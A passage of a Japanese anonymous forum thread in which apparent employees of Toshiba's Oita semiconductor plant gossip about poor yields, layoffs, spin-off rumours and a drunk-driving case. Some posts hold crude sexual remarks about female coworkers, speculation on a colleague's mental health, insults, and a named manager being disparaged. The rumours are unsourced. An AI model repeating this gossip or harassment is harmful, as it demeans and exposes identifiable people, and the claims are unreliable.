おれの（しいたけ）をすぐ気に入ってお仲間・・・　、っての
ただの下品なおふざけじゃねーの？

マジレス必死だね。

>>490 実力で勝ち取れよ！情けねーな。

まあ、コネもワイロも実力の内か知らんが。

実力も無いから、そう言うんだろw
何でも人のせい、物のせいだもんな

認めたくは無いけど、コネも賄賂も使える物は使った方がいいだろ
同じ事をすればいい、それで地位が築けて安泰ならそれも手段の一つだ

やりもしない、出来ないだなんだと、文句ばかりを良い歳の大人が言うもんじゃないなw

そんでもってこの赤字、業績低迷で凍柴のお荷物となった訳か。
いつまでたっても黒字に戻んねー多痛もうダメだな。
んな事してる所為で。ププッ。

早めに次のお気に入りをブックマークしとけ。

本部から見た大痛とは

・なんでこんな馬鹿ヅラ多いんだ？
・なんでこんなばかなのに偉そうにしてるんだ？
・なんで得意提出用サンプル出そうと特急でしてもらおうとしたら拒否されるんだ？
・なんで岩芝と言う言葉を出すとみんな急に不機嫌になるんだ？
・ロット投入しろってやりますって言っておきながら放置されてるのはどう言う事？
・なんで変な時間帯にラジオ体操やってるんだ？

こんな変人の集団ではもたんよ。はよ台湾のFABにでももって行った方がええ。

ZU-NISEはさらにCFが増えるんだって、船より船頭が多くなりそうだよ。

何か履違えてるんだよな、ZU-NISE

ZU-NISEもCFばかり増やさなくて、かわいい女の子集めてほしいなぁ。
現場もSHI-KINにもかわいい女の子いないし。

>>499
・なんで得意提出用サンプル出そうと特急でしてもらおうとしたら拒否されるんだ？

上と下(現場)の間に連絡係が積層しており伝言なんか途中で変質してしまいました。
届いても最小限の人員(能力/経験)では迅速な対応はムリムリ。

ちなみにツラは仕事に関係ない。

S痔が赤字にならん為には大量に物をバンバン流さんといけません。
特急ぶち込んで？何馬鹿言ってるの？そんなの後回し。WO入って無い?じゃあ駄目。
次の生活の種をぶち壊してくれるのが大痛クオリティ。

まあZU-NISEの歩留悪いのがすべての悪の根源たる所以であるのだ。
ここって人間は江戸時代の農民みたいなレベルだから何やっても駄目。

モノ見て解析しフィードバックできる人間がおらんからね
見た目で分かるくらい大きなものだったらいいのに

歩留まりが低いからリカバリLOTを投入。←これの繰り返しだから新品種を
投入できず。営業がせっかく仕事をとっても工場はこなせてなくて、営業、
工場の仲が悪くなる。

そもそも、最先端設備を入れて製造してるのに従事している人達は
いつまでも古い考えをもっている人達なんだろう。
いつまでも頑張ろうという精神論でできるわけないのに。

すでに最先端設備じゃないんですがｗ。
もう何年も前から。トラブルとか出まくりだよ。

歩留まりも、少品種を大量生産するって事なら、まだどうにかなろうけどね。
もう作るのやめちゃえば？。

最先端設備だからトラブルが発生しないわけじゃないけど。

メンテパーツをメーカー推奨ライフを守らず、使用してるから
トラブル発生率が高くなる。
装置停止→LOT処理できず→メンテ延長→トラブル発生って
負のスパイラルへ突入。

これがS痔、大分のQuality。

>>507
推奨ライフが神様か？　お前の分析能力の無さが大痛Qualityだね

せめてすぐ交換出来る様に、予備パーツ揃えて置きたいが。
一時期のようにコストコストコストってえ言われると・・・。

本当に必要なものはﾘｽｸを報告すれば良いじゃん
その上でﾄﾞｶ停したら、その保守ﾊﾟｰﾂが必要ないと判断した管理者の責任なんだから

ﾄﾞｶ停ﾛｽとﾊﾟｰﾂ確保ｺｽﾄのどっちが高くつくか考えるのがｺｽﾄ分析で君の仕事なんじゃね

ここは従業員立ち入り禁止ですか？

>>510　当然そうやろうけどエクセル画面にポチポチ打ち込んでたら
ついつい（いつもいつも）眠くなっちゃってw ・・・あとよろしく。

ワキガの雨幸まだ生きてるか？

電機６社、ソニーなど５社が黒字に　４〜６月

やるんなら今だという機運が高まっているようだ
ルネサスも本気で取り組んでる
まずはリストラらしいけど...........

まずやる事がそれかいっ！

て、まあ考え方はわかるが。

大分の地域経済効果発展のためにも　　
工場は残してほしい。
頼む、東芝よ。

リストラのやり方があまりにも汚すぎるし
日本の大企業ですら工場が激減していて
中国に輸出してること、そういう日本の企業が日本の大企業の工場が
中国などの外国に輸出してるケースが多すぎるからね。　

リストラ候補をまとめて中華に出荷しちゃえばいいじゃない

>>516
にほんごで、おｋ

>>516
ニポンゴデオケアルヨ

日産の軽のハンドルの上におっぱい
乗っけて運転してる娘は誰？

知らんよ

単身赴任の住居に妻が来てくれないのは愛情がないからだそう
一年になるけど一度も
今日もよそよそしいし

やっぱ自分が悪いんだな

　
　　　　　　　　果てしない未来に挑戦する

　　　　　　　　　　　『大野精工』

http://yuzuru.2ch.net/test/read.cgi/industry/1275235316/
http://yuzuru.2ch.net/test/read.cgi/industry/1242684624/

>>521
尻も凄い事、知ってるくせに・・・。

知らんよ

>>525
エロエロで巨根狂いだって知ってるくせに・・・。

知らんよ

動作標準なんか真面目にやりだした頃から
今の状況が予見できたワケだが
建前に拘りすぎた結果がコレだよｗ

C勤連中は盆連休やな
一生休んどけ

盆に出勤している奴らは　機械と同じ扱いですねｗ

あれもこれも、早くに対処しといてくれれば、、、
盆、休めたのに。

>>527
オメコ狂いでフェラが世界一、上手いって知ってるくせに！

東芝　被害者の会
http://www.google.co.jp/search?sourceid=navclient&hl=ja&ie=UTF-8&rlz=1T4ADFA_jaJP376JP376&q=%e6%9d%b1%e8%8a%9d%e3%80%80%e8%a2%ab%e5%ae%b3%e8%80%85%e3%81%ae%e4%bc%9a
東芝　被害者
http://www.google.co.jp/search?sourceid=navclient&hl=ja&ie=UTF-8&rlz=1T4ADFA_jaJP376JP376&q=%e6%9d%b1%e8%8a%9d%e3%80%80%e8%a2%ab%e5%ae%b3%e8%80%85
東芝　未払い
http://www.google.co.jp/search?sourceid=navclient&hl=ja&ie=UTF-8&rlz=1T4ADFA_jaJP376JP376&q=%e6%9d%b1%e8%8a%9d%e3%80%80%e6%9c%aa%e6%89%95%e3%81%84
東芝　自殺
http://www.google.co.jp/search?sourceid=navclient&hl=ja&ie=UTF-8&rlz=1T4ADFA_jaJP376JP376&q=%e6%9d%b1%e8%8a%9d%e3%80%80%e8%87%aa%e6%ae%ba
東芝社員自殺
http://www.google.co.jp/search?sourceid=navclient&hl=ja&ie=UTF-8&rlz=1T4ADFA_jaJP376JP376&q=%e6%9d%b1%e8%8a%9d%e7%a4%be%e5%93%a1%e8%87%aa%e6%ae%ba
東芝 府中 自殺
http://www.google.co.jp/search?sourceid=navclient&hl=ja&ie=UTF-8&rlz=1T4ADFA_jaJP376JP376&q=%e6%9d%b1%e8%8a%9d+%e5%ba%9c%e4%b8%ad+%e8%87%aa%e6%ae%ba
東芝の労働事件
http://ja.wikipedia.org/wiki/%E6%9D%B1%E8%8A%9D%E3%81%AE%E5%8A%B4%E5%83%8D%E4%BA%8B%E4%BB%B6

【社会】 “残業・月１００時間、他にも自殺者” 東芝社員の自殺、「過労でうつ病」労災認定…埼玉★２
http://www.unkar.org/read/mamono.2ch.net/newsplus/1207230536
東芝子会社が下請法違反、製造業者への代金を3500万円減額
http://www.nikkeibp.co.jp/news/biz07q1/529120/

ブラック東芝って労災率が異常に高くない？
http://namidame.2ch.net/test/read.cgi/recruit/1244943377/

知らんよ

おつかれ
暑くて目が覚めた
秋からC勤を現場に大量投入するらしい
ほんと？

知らんよ

でじまー？
確認してみるわー。

いらんだろ。

どこにどれだけ人手が必要か、とか全然見ずに
(余剰人員の)置き場所探してるだけじゃないの。

やっと作業に馴染んだ頃に、ホイッとまた配置換えとかされて
現場は大迷惑。

>>535
ただし現場応援経験者限定

毎度の人員効率UPじゃないの？
この問題は解決できない
C勤で使えないというか仕事が出来るできないの定義が明確じゃないから

現場に迷惑かけるので現状のまま置いておくしかない

正社員が余ってるんだから鈴木とTSSCの派遣を切れよ。

12se、Ckin事務所に入れないほどCkinの人員増やしてどうすんだよ。

適材適所を少しは考えろよ

先につぶれるのは組織が先か人間が先かどっちかだろ
やっぱし鶏も卵もどっちも殺す気なんだろな

適材適所
一番苦手とするところw
昔っからだから　最近ますますひどくなったような気がする
うまい具合に異動できるのはキャリアだけ
残りは一生飼い殺し

アンタ達の役目は　会社と共に終息します。
お疲れ様でした。

惨交代は愚痴らずロボットのように働くべし。

いまごろ上層部は新しい社名を考え中なんやろなー。

とにかくＣ勤多すぎ。給料ドロボーばっかり！
もっと仕事しろ。

分社化確定・ものつくれね

このままじゃいくらやっても同じ
末端が犠牲になるのはどこの組織も同じ

福惨事以上は退職金の他に莫大な功労金がつく
TSSCなる天下り先もある　この世の天国
担当のまま辞めればこの世の地獄

>>549
福惨事ってまだあるのか？

>>549
>末端が犠牲になるのはどこの組織も同じ
それは違う。こうなったのは末端？まで危機感を浸透できなかった中間層の力量不足もあるが
そうなれば自己にどのように降りかかるのか認識のできない一部末端者の錯誤だろう。

祭りに(帝王)が来るね、アニソンの。

そうそう、帝王を観に全国から８万人が集結するんやろ？

ホント、仕事してる場合じゃないで！。
いま働いてないヤツ、すぐ集合やー！！。

って、もうすでに大痛に集まってたりしてｗ。

さらに北九州から来るらしい
最強の集団が！
１つの工場食いつぶすくらいだからな

北苦の製造スペシャリストがお馬鹿大痛の連中を叩き直します。
大痛の製造課がお馬鹿で没ロット出しまくるのでS痔が黒字化せんのだよ。

昨日の夏祭りで水木一郎のアニソンライブでステージ付近に入り込んで
踊ってた馬鹿はどこの課のバカか？

総務の連中もそう言う奴はさっさと排除するようにうごけや！
ろくに管理も出来んのは仕事でも夏祭りでも一緒かよ。

水木一郎を選んでるだけで十分優秀だと思うよ

うちは今更、清水○○○だったし

>>557 まあ、会社の人間とは限らんが(写真撮っとけば良かったな)。
でもたぶんそんな気がする。変なヤツいるから。

おはようございます。
苦月です。
一年経ちました。
大分まで来てリストラされたら家族に言い訳できないな。

>>560
安心しろ。また大量に異動して来るから君だけではない。
大痛はいずれ移民だらけになるからなあ。

リストラされる時は元々大痛にいる連中も巻き沿いにしてリストラされる。
家族に言い訳出来ないのは皆同じだからさあ。

リストラされる奴なんざ、今まで頑張って仕事して無いからだろ

要らない人間だから、リストラされるんだろ
努力して、要る人間になれば良いだけ

楽して来たツケが回って来てるだけだろ

惨交代は所詮、誰もが使い捨て。
早く作業長、課長に昇進せんとゴミのように捨てられるのさ。

はは、心の貧しいヤツだな！。

（おっと、人事じゃねーや）

所詮、大痛で努力しても無駄だよ。
経営陣のお言葉を聞いてごらんなさい。

努力してもリストラはされる
TPACSにいた人達が成果だしてなかったかというとそんなこともないと思う
組織丸ごと切り離されたら個人はどうしようもない
そこの待遇が不満で辞職したら結局リストラされたことになるのでは

>所詮、大痛で努力しても無駄だよ。
経営陣のお言葉を聞いてごらんなさい。

経営陣のお言葉を聞いた様な言い方だが聞いたのかい？
努力しても無駄なんて言ってる様な輩が、会社にとっては無駄その物なんだがな
大分で努力しても無駄だと思うのですが、どう思われますか？って経営陣に聞いてみれば？

切り離されたら、個人では仕方無いのは解るが、別の道筋は用意してくれてるんだから、
待遇が合わないから辞めるのは、結局自己都合だと思うが
リストラと言う使い方としては、違う気がするが

吸収、売却される側はリストラじゃないの？
日航以上の過酷なリストラが待ってる。55歳まで残るのは不可能って書いてあった。

http://ja.wikipedia.org/wiki/リストラ

>>568
＞日航以上の過酷なリストラが待ってる。55歳まで残るのは不可能って書いてあった。
興味深い内容だけど、書いてあったってソースは？

>>568
それって今JDの人たちが思案している事だよね
大痛に飛び火しても不思議じゃないけど。。。

三星に喰われたら三洋半導体みたいになるんかな
あんたクビと平気で言われるらしい

>>568
ソースは無いの？
風説か？
>>572
言われるかと思うと不安だけど、その方が危機感持って真剣に仕事する様になるんじゃない？
不景気で先も見えない時代なのに、危機感持ってない奴ばっかりだしな

人件費のロスより低歩留による製品ロス。
こっちの方が問題だろうが。

北九州工場の人件費は年間２００〜３００億
それでつぶれた
大分は３倍くらいおるから１０００億くらい？

もう　潰していいよ
役に立たない人材ばかりだから

>>576
少なくとも製造部門は全部外資にするか爺デバイスにするしかねえ。

スタッフと技術部門はこのまま？
定年を早めればいい

海外展開を加速させている最中に、大分で努力･･･だなんて無謀な事は聞けないし
役に立つ・立たないとか個人単位でのレベルでは無く、工場単位でバッサリ切り
離されるので今更努力しても無駄だよって事。それが嫌なら黒字にしなさい(偉い人の声)。
所詮、国内は生産減少・事業縮小傾向なのでスタッフ・技術部は海外勤務を要覚悟。

前工程で海外なんてあんの？
後工程だけでいいじゃん。もうわざわざ工場は他に建てんだろ。
転勤よりも切り離されそれで終わりになる可能性が高い。

>>580
前工程で海外なんて当然あるに決まってんだろうが。
台湾でも中国でもシンガポールでもマレーシアでもやれる所はある。

やるとすれば製造部門完全切り離しだろうな。○セの完全切り離し。
海外のファブで代用出来る部門は間違いなく切り離されるだろうね。

開発に関わる部門だけは残るだろうけどな。


>>579
海外勤務はウェルカムだよ。それが出来ない奴は生き残れん。

海外行ってくりゃいいじゃん
国の壁超えてこいよ。
お前ら生き残れりゃ　御の字なんだろ？

>>582
少なくとも海外展開されたら製造課から抹殺だよw

海外勤務経験して視野を拡げてこいって(大分)に言いたい。
(大分)からでたこともない人が製造課では上になっているし。

別に外国語じゃなくても
屁理屈こねて、ギャーギャー言って、ダダこねてるヤツが
得する工場なんだよ。

最近は製造委託ってやり方するんだな
自社工場の経営権を譲渡するのか
東芝が飛びつきそうだな

都市対抗野球　優勝おめでとう

ここは何もせん事や削除する事を合理化と言います。
本当に頭が悪いです。

ようやく、アパートが決まりました。低羽句酢です

>>581
開発もいらねえよ。つぶせ。

東芝からのJDEVICE転籍組は大分に一旦戻る
雇用面の調整がつかんから

>>589
開発部門→鮒に全員移転で生き残る
製造部門→皆殺し

これで十分だよ

売れない製品（売れてもＭ率低いと駄目ヨ）を開発する部門が
どうして生き残れますか･･･。
解っていると思うが開発部門でも安泰ちゃうでー。

これから10年間貢献し続けられますか？

５０代は勝ち逃げするだろうな。
来年４４か...厳しいな。

>>592
少なくとも現場連中の方が先に身売りだろうよ。
だって派遣でもすぐに出来るぐらいのレベルの仕事しかしてねえし。

どっちもてーレベルだなｗ　両方残れねーよ。はは。

開発と製造がこれじゃこの会社で出来る製品は・・・。

>開発部門→鮒に全員移転で生き残る
全員は行かないと思うけど
一括異動は意味がない　会社にも従業員にも負担が大きい
でもここはやるからワケ分からんね

11アクションの話はまだ

アクションプランするよか解体した方が早い。S痔リバイバルプランはいつの間にか終わったな。
ついでに本名ももう終わりやなw

解散秒読み？　何秒前？

スマソ　age進行だね

>>598
リバイバルプランはうまくいかんのでPHASE2に突入。
大痛は大量生産出来るが質が悪いのでいつまでたっても安定供給できん。

人間も大味だが仕事のレベルも大味。どうしようもねえな。

とりあえず派遣とTSSCに引き取ってもらおう、今居る社員が汗水流して働いて
それで足りない部分を補充するってならないかな。

忙しいからって派遣を入れてみたら、社員も派遣も休憩が長かったじゃ話にならない。

それでいて人件費の削減って、寝言？。

このご時世で派遣を雇っている部門がある事すら間違い。
派遣会社にもよるが、派遣１人雇うのに約５００ｋ￥／Ｍも
支払いよったぞ。
だもんで、人件費削減は寝言で間違い無いね。

>>603
お前、そんな内容発言して大丈夫か？

>>604
>>603をクビにすれば人件費削減につながる。
無能な>>603より派遣を雇えば対費用効果は高い。

>>605
だな
>>603みたいな、守秘義務無視して
匿名だからって会社内部の情報を掲示板に書き込む、バカは通報されてクビにでもなればいい

通報しておこうか

＞派遣１人雇うのに約５００ｋ￥／Ｍ

>>603を擁護する訳ではないが・・・
このご時世　派遣に払う金額なんて誰でも知ってる事実。

派遣を使う理由は単純に使えない社員が多いということじゃない

>>603
やっちまったな
通報しといたから心配すんな

君にはむずかしいだろうが
「業務上・職務上知りえた秘密を他に漏らしてはならない」という
義務があるんだ。今回の場合は、労働契約を締結した当事者が
これらの契約に基づいて負う民事上の守秘義務だな。

>>607
誰でも知ってると書いてるが、それは社員、関係者なら知ってるかもしれないが
問題なのは、インターネット上の匿名掲示板と言う所なんだよ
知られていない人にまで、伝える事になるしな
もしも、その金額以下の派遣会社が見たら？
会社の信用、守秘義務を厳守しない輩が情報をばら撒くと知れたら？
各取引先からの信用は、無くなる恐れがあるのでは？

ちょっと考えれば解るだろ

これだから、バカな社員は要らないんだよ

>>610
その匿名掲示板で　何熱くなってんだ？

暑くなってなぜ悪い？？？

人件費削減×
経費削減○
税法的に派遣は経費あつかいだろソコ忘れんなｗ

問題のすり替えだな

>>614
おぃおぃ俺は603への諌言側に別方向から援護射撃したつもりだったんだが・・・・・
派遣を雇う意味はしってるんだろ？

アンカ打たなかった俺も悪いからまっしょうがねぇが・・・ちぃと落ち着いてくれや
気持ちは解るが・・・・・

>>603
通りすがりの東芝無関係ゴミ]派遣ですらそのレス看過できねぇんだわ
中小あたりでなく大絡みでその数字書いちゃったレス・・・2chですら初めて見たわ
何故そうなのか解らんならマジで書くな・・・正直氏ねとさえ思うわ・・・東芝の無関係な他社まで巻き込むな・・・

東芝の無関係な他社×
東芝に無関係な他社○

四日市送りが済んだと思ったら、諫早送りが始まったよ。

>>617
12背潰す気なんじゃねえの
まともに物作れない部署はいらんだろうが。

同じ製品を作っていながら諫早の方が出来が良いってんだから、わざわざ大分で
作る必要はないと思うんだが。

四日市帰りのDM達は「四日市の良い所を見習え」的な事を言うけど、実際は諫早の良い所を
見習った方が実になると思う。

一番良いのは12背の設備を諫早に移して大痛の300mm系は潰すのがベスト。
どんなに頑張っても大口径でのロスが多すぎるんじゃねえのか。

三洋、群馬と岐阜の半導体工場閉鎖　新潟へ集約

三洋電機は１８日、群馬と岐阜にある半導体の製造工場を２０１２年に
閉鎖する方針を明らかにした。約１千人の従業員は新潟工場への転籍や、
三洋本体への配置転換をする見通し。半導体事業は米半導体メーカーへ
の売却が決まっており、製造効率化へ拠点の整理を検討していたという。


好き勝手しやがって。千人も受け入れられるんか。北九以上やな。

松岡の工場って閉鎖って噂？マジあるんですか？

１２の設備を移したらその設備を使った諫早ラインの歩留まりが上がらん。
少しずつでいいから、諫早ラインの設備を入れるのだ。

>>622
その確率は限りなく低いね

>>623
こんな環境の悪い所に諫早の設備入れたら諫早の設備が悪くなる。
環境整備状況は中小の町工場以下だから。

じゃなくて、諫早にあってここにない設備を新規導入しよう、ってこと。
だったんだが、管理できないなら同じことか。。。

>>625
どんなに新規設備導入したとしても人間が昭和の香りぷんぷんしてるからダメ。
設備故障したら蹴ったら直るレベルの人だらけだからちゃんとメンテ出来てない。

本当に物を作れない理由は設備うんぬんよりもその手入れが手抜きなのが問題。
自分の使う装置すらまともに整備していないんだからどうしようも無い。
自前でメンテしてちょこっと節約しても後々そのおかげでロスすると言う意識が無い。

長年捻じ曲がった根性でケチってきたツケが今頃回って来ている状態。

メンテ→適当
規格管理→OPは規格外れててもNGにしない
PM・キーパー→現場よりPC弄るしか脳がない（危機感なし）

こんなんじゃ　いいもん出来るわけねぇ。

上から一方的に押付けるだけで、現場の意見や問題を聞こうとしない風通しの悪さが
問題。

事務所で座ってるだけのﾒｾのCFは各勤務に一人で十分、引継ぎ位しか仕事がないだろ。
忙しいのに「釣に行くから定時で帰る、引継ぎよろしく」ってなんだよ、12せに居るﾒｾのCFはそんなに気楽なのか？

更に上の人間がそんなだから、じゃねーの？

作っている製品含めて利益が出る体質なのかなー

笑劇の胴盃洗公邸。

東芝は2010年度からデジタル家電製品などに組み込む最先端システムＬＳＩ（大規模集積回路）の
生産を海外のファウンドリー（半導体受託生産会社）に委託する方針を固めた。
開発から生産まですべてを自前で手掛ける方針を転換し、巨額の設備投資負担を軽減。
半導体の投資を競争力の高いフラッシュメモリー分野に集中する。

近く受託製造の専業会社との交渉を始める。シンガポールの受託大手チャータード・セミコンダクターを
軸に調整するほか、米グローバルファウンドリーズも候補とする。
今年度内に交渉をまとめ、10年度中の供給を目指す。
(10:00)


http://www.nikkei.co.jp/news/main/20090907AT1D040AD06092009.html

http://www.toshiba.co.jp/about/ir/jp/news/20090907.htm

本日は瞬停でおじゃります。雷警報に警戒しても所詮無力。
みんな大丈夫だったか？

>>633
どうせ保険かけてるんだから　怪しいやつは没しとけ。
まぁバカみたいに赤紙入力しなきゃならんがな

ヒマなＰＭ　ＭＫ　ＭＭ連中には　瞬低は目が覚めるいい薬だな。
たまには仕事しろ

いつまでも情けないぞ、技術部。

杵築東芝はどうなったの？
杵築東芝の人が昼間から酔っぱらって居るのを
見た。

杵築東芝はありません。 仲谷マイクロデバイスです

仲谷マイクロデバイスも既に爺デバイスになっております。

名前が変わった。 半分以上は仲谷マイクロデバイスです

グローバルファンドリー

保守age

飲み会に車で行くのはやめようね。

女子の大勢いるコンパだったから気持ちはわかる

飲酒運転は懲戒処分になるのか？
クビっていわれてきたけどなった奴今まで居ないんじゃね？

普通の会社なら懲戒処分な
でも、おたくらの会社は普通じゃないから

飲酒で捕まった奴の懲戒まだぁ〜？

飲酒で逮捕とか、アホ過ぎ

このボケ何セの奴？

何勤？、どこの人？、やっぱ示威勤なの？。

まあ所属出すと中傷あうからやろか。
討議せよとは無駄な時間やな。飲酒とは論外。停職処分か?

最近は、どこの会社でも飲酒運転は懲戒解雇が一般的だけど

個人的には、何処の誰か知らないけど
社内でも公表した方がいいと思う。
どういう処分になったか等
懲戒解雇で見せしめにしておかないと、危機感が無いから飲酒運転するんだろうし

会社に迷惑かけてんだから、文句はあるまい

嫌なら、酒飲むの自重しろと

要するに、公共交通が発達していない田舎。

>>649
あのふざけた報告書で中傷されん方がどうかしてねーか？

酔いを覚ましたあとに朝飯食べながら１杯飲んで運転って、同情の余地なし。

>652
その通りですな。ほんとふざけた報告書ですわ。
困ったもんですね。

誰の事なのかわからない

故人名はだせんだろ

（＾ω＾）ペロペロ

○ケンケン

やっとわかった。でも結局処分はどうなったの？
そっちが大事。

起訴されないと処分は出来ないよ。

ＯＯ高原、ＯＯ遊園地。

アル中以外で面白い話しはないのかー

業績加算でるかな。

巷では来期分社化の話題が・・。

上司は勝手に体調不良で休むけど
部下に対しては、何で休むのかとか言ってくる
厚生労働省の労働基準法は分かっているのか？
これはコンプライアンス違反なのか？
年次有給休暇取得制度は理解されているのか？
小学生並の言葉遣いはどうにかならないのか？
給料明細渡す時位は
(お疲れ様)は言えないのか？
謎だらけだ。

○○○は当然交通立ち番するよね

分社化くらいはまだ良くね？身売りされたりするよか。
三洋、日航、東芝日野・北九州工場の人達は今、強制解雇の危機にさらされている。

今からユウウツ
戻りたくない　また３カ月ほど休むか

休むな。生きろ。
望まない仕事かもしれないが、それでもいいじゃん、役に立てば。

大分工場に明日はあるの？
大分工場はどうなろうとしているの？
誰か教えてください。

○12インチを切り離してしまえば黒字。
○6/8インチは残ったら台湾のファブにのめされる。
○間接部門は首

>>671
にほんごでおｋあるよ

　　　　　　　　　　　＿＿＿　　 ,へ、　　 ＿＿＿＿
　　　　　　　　　　　|＿　　/　　i　　 ＼　|＿＿　　 |　　＿|￣|＿＿　ロ口
　＿＿|￣|＿＿　　　 /　/　　 |　 iヽ／ ＿_／　∠　　|＿　　＿＿|
　|　　　　　　　 | ○　 |　 |　　 |　　l　　|＿＿＿__ ｀ヽ　　|　 l　 ＿＿_
　￣￣|　 |￣￣　　　 |　 |　　 |　　|　　　／￣ヽ　|　 ｝　 !　 !　|＿＿|　 ＿＿＿
　　 ／　　￣￣＼　　ヽ　｀ー´　ノ　　　｛　 ○　V　 /.　 |　 |　＿＿　　|＿＿＿|
　 /　/|　 |￣＼　 ヽ　　＼＿／ ＿＿　　＼＿＿／　　 |＿|　|＿＿|　　　　　／
　｛　 し　 |　　　|＿|　　　　　　　＼:::::::＼＿＿　　　　　/　　　　　　 　 　　／
　　＼＿ノ　　　　　ヽ　　　　　,-‐'::::::::::::::::::::::::::ヽ、　　/　　　　　　　　　／
　　　＼　　　　　　　 ヽ　　＜、:ﾌ::/::::::::::::::::へ、:::::ヽ　　　 　 　 　 　 ／
　　　　 ＼　　　　　　　ヽ　　／:::/:::::／i／,-─ヽ:::::ﾍ　　　　　　　 ／
　　　　　　＼　　　　　　　rヽ￣7:::::へ'´ ｒ ｒﾆヽ ヽ:::::}　 　 　 　 ／
　　　　　　　 ＼　　　　／｀ ､> i／i r=ヽ 　ゞシ　　´｀}　　 　 ／
　　　　　　　　　＼　 < ヽ｀>' ノ＼ゝゞシ ,へ　　　,ｒ´　　　／
　　　　　　　　　　　　　｀‐-'　　　　 {　　＼r }　ノ‐-,ヘ、
　　　　　　　　　　　　　　　＼＿　　 ｀‐--‐ﾍ'ｉ´|　'とﾆヽ

ふざけた飲酒運転やろーはどうなった？。

ある意味、交通事故より悪質だろうに。
悪いと知っててやってんだから。

会社もこのまま、なにもせんで75日待つんだろな。

　　　　　　　　　　　＿＿＿　　 ,へ、　　 ＿＿＿＿
　　　　　　　　　　　|＿　　/　　i　　 ＼　|＿＿　　 |　　＿|￣|＿＿　ロ口
　＿＿|￣|＿＿　　　 /　/　　 |　 iヽ／ ＿_／　∠　　|＿　　＿＿|
　|　　　　　　　 | ○　 |　 |　　 |　　l　　|＿＿＿__ ｀ヽ　　|　 l　 ＿＿_
　￣￣|　 |￣￣　　　 |　 |　　 |　　|　　　／￣ヽ　|　 ｝　 !　 !　|＿＿|　 ＿＿＿
　　 ／　　￣￣＼　　ヽ　｀ー´　ノ　　　｛　 ○　V　 /.　 |　 |　＿＿　　|＿＿＿|
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http://kamome.2ch.net/test/read.cgi/infosys/1285951330/1-100

休日に西門を閉めるな　せめて出退社時間帯だけでも開けろ

来年は全ての門が閉まってロックアウトか？

3カ月ほど会社来なかった人がいるけど、たまにぼーと無表情になってる
うつ病が治ってない？分裂病？

後工程は外に丸投げ
前工程も外に丸投げ
間接部門も外に丸投げ
仕事やってると感じている連中は全員失業

システムLSIなんて儲からねえんだろと見切りつけられたら大痛終わりだよ

http://www.nikkei.com/tech/ssbiz/article/g=96958A9C93819696E2EAE2E7878DE2EAE3E3E0E2E3E2E2E2E2E2E2E2;p=9694E3EAE3E0E0E2E2EBE0E4E2EA

考えさせられる記事だね
「金喰い虫だから切り離したかった」って言われるかもね.....

日航は首切り始めたな。こうなるとは思ったが。
三洋は業績悪化した当時、課長クラスを数百人規模で社外に放出した。
9割はすでに退職したそうだ。管理職は自惚れるんじゃない。

ZUNIｾ、「DM」と「CF」が皿に増えるらしい。

「午後」と「レ」も皿に増えるらしいが、「鈴」は徐々に減るらしい。

人件費削減はどうなった、迷路に迷い込んだのかZUNIｾ

なーにを今更、ずーっと迷走しっぱなしじゃんか。

人件費削減なんて工場単体でできんの？
せいぜい残業代削るくらいだろ。
四千人近くいるのは多すぎじゃね？
来年はあの異動があるから人があふれそうだな、もうだめぽ。

>>685
>人件費削減なんて工場単体でできんの？
�H来る時点で決定すみ。今頃気づくお前みたいな奴が目出たいやつ認定。
まずは勤務形態を変えて、分社化=>寒波荷ー霧花死。3年後あぼ〜ん。
溺レースでおぼれろ

そろそろ忘年会だけど飲酒運転だけはしないように！

>>686
これからどんどん�Hの人が大量に来るから社宅費用負担、単身赴任手当で
人件費が大幅に増大しますよぉ。拠点統合の失敗例として汚点を残したな。

今度は�Hが京浜地区からの転勤者を受け入れたので赤字まみれになります。

>�Hが京浜地区からの転勤者を受け入れ
何か新たなこと始めるのですか？
なぜ玉突きみたいな異動を繰り返すのですか？

>>689
もう結構異動してんじゃん。京浜地区からの転勤だから単身赴任手当高いぞ。
玉突き異動も激しい。大痛も相当京浜地区から来てるから厳しいぞ。

これで間接費上がってるって当たり前の事言うなって言いたくなる。

まず籠に集めないとな。その方が手っ取り早い。

籠ってここのこと？
勤務形態は大分来てからわずか半年で変えられたわ。
突然十数万手取りが減るから相方からトッチメラレタわ。
また次があるんか。まずは10%カットくらいで済むんかな。

来年４月がＸデーと言うカキコを見たが本当？

ほんとだよ

>>693
まさか閉鎖？？？？？？？？？？？？？？？？

東芝　　部長　　藤津隆夫
じーシップだめ

【贈収賄】東芝ソリューションPart6【契約解除】
http://kamome.2ch.net/test/read.cgi/infosys/1285951330/101-200

どこも同じだね

・現場のことを理解していない部課長
・その部課長の的外れな発言に場がシラケる会議
・イヤミが飛び交う上下関係
・士気が上がらず仕事のたらい回しに徹する担当
・「あるべき」の正論を言うだけ虚しいと感じる職場雰囲気
・部下を育てない上司、というより、育てるスキルがない上司
・５ｍ先から飛んでくる開封通知付きメッセンジャー、内容は納期の煽り

ヤマダ電機で液晶テレビ19RE1は生産終了だから注文受けられないと言われたよ

供給があんだから生産しろよ
お前らヤル気ないの？

300せんって何するの。
今頃戦略とてどうなんの。それとも切り離しの前ブレ?

TSBでの最後のボーナス、何に使おうかなぁ〜？！

12背の年の差カップルはどうなった?

>>700
儲からない12インチを分社化しますって言いたいんじゃねえの
何てったって最大の癌だからな。ただ今12インチ集結中じゃん。

>>702
毎日見詰め合って鱒

あすたのボー茄子、何か月分かな？

あすたじゃねーよ。10日だよ！

成果給が関係なくなっても目標は書いた方がいい。
白紙のフライトスケジュールと同じ。一年後には大変なことになる。

12淫恥はV字回復
8淫恥は家宝修正します

なすない

なすある

12背の年の差カップルの女はカワイイの?

ボー茄子いつなの？

12背の年の差カップルって誰と誰？
市金事務所？

それって 不倫カップル？
情報通のエロイ人 おそえて！

スマートグリッド時代は、パワー半導体が、クるー。

Ｄにも負けるね。

12背の年の差カップルの女って性格悪いらしいよ

そうそう　自分を女王様と勘違いして気に入らない奴はどんな手を使ってでも追っ払う
これまで辞めさせたり病めさせられた人は数え切れんらしい

あいつか！○○だな！

派遣社員の女王様一人に陰口しか言えない正社員の男達ってどうなん。

>>718 ○○だなって誰のこと？
　　　その相手の男は誰？

ボーナスは来週か。フィードバックは毎回同じこと言いやがって。
勤務体系変わって会社側と従業員の給与差が開いたような気がするが。
勘違いか。

女王様ってケツデカの○田のこと?

やはり情けないよね

>>719　>>723
うざいと思ってるのが男ばかりと思ってる？

でも俺、女王様から仕事教えてもらったけど優しかったよ。近くで話すと口臭かったけど(笑)

719です。
そんな事は無いですよ、でも耳にするのは圧倒的に男からの声。

やはり地元地主の娘だから会社側も強く言えないのかな。

>>726
